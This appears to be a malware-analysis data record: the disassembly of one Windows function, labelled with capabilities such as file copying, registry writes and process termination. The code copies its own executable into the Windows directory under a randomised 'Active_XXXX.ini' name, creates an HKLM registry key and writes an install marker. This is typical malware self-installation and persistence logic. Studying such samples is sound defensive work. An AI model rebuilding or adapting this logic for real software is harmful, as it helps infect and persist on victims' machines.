Function at 0x402f60
Capabilities:
Copy file
Delete file
Read file on windows
Set registry value
Terminate process
Write file on windows

Disassembly:
sub esp, 0x338
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jne 0x402f8e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetWindowsDirectoryA
push esi
call edi
push str.CreateFileA
push esi
mov ebp, eax
call edi
mov dword [esp + 0x24], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3d]
mov byte [esp + 0x3c], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x40]
push eax
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x3c]
push 0x406b88
push ecx
call esi
lea edx, [esp + 0x3c]
push str.Microsoft_
push edx
call esi
xor eax, eax
mov esi, dword [sym.imp.MSVCRT.dll_rand]
mov dword [esp + 0x29], eax
mov byte [esp + 0x28], bl
mov dword [esp + 0x2d], eax
mov dword [esp + 0x31], eax
mov dword [esp + 0x35], eax
mov word [esp + 0x39], ax
mov byte [esp + 0x3b], al
call esi
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x61
push edx
call esi
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x61
push edx
call esi
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x61
push edx
call esi
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x41
push edx
lea edx, [esp + 0x38]
push str.Active_c_c_c_c.ini
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x3c]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov byte [esp + 0x244], bl
and ecx, 3
push 0x104
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x249]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x248]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x3c]
push ebx
lea edx, [esp + 0x248]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x3c]
push eax
call fcn.00402e80
mov ecx, dword [esp + 0x18]
add esp, 4
call fcn.00402b00
test eax, eax
je 0x403152
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push edx
push ebx
push 6
push ebx
push ebx
push ebx
push str.SOFTWAREATerMinate
push 0x80000002
mov dword [esp + 0x34], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x403152
mov eax, dword [str.ERROR]
mov cx, word [0x4069d4]
mov dword [esp + 0x1c], eax
mov word [esp + 0x20], cx
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
not ecx
dec ecx
push ecx
push edx
push 1
push ebx
push 0x406d30
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x406448], ebx
je 0x40320f
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x141]
mov byte [esp + 0x140], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x140]
push 0x104
push edx
stosb byte es:[edi], al
call ebp
mov edi, str.Installs
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x140]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x143], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push ebx
push 0x80
mov ecx, ebp
push 4
push ebx
and ecx, 3
push 2
lea eax, [esp + 0x154]
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [esp + 0x40]
lea ecx, [esp + 0x10]
push ebx
mov esi, eax
push ecx
lea edi, [esp + 0x24c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], ebx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14]
push ebx
lea eax, [esp + 0x40]
push ebx
push eax
call fcn.00402cc0
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]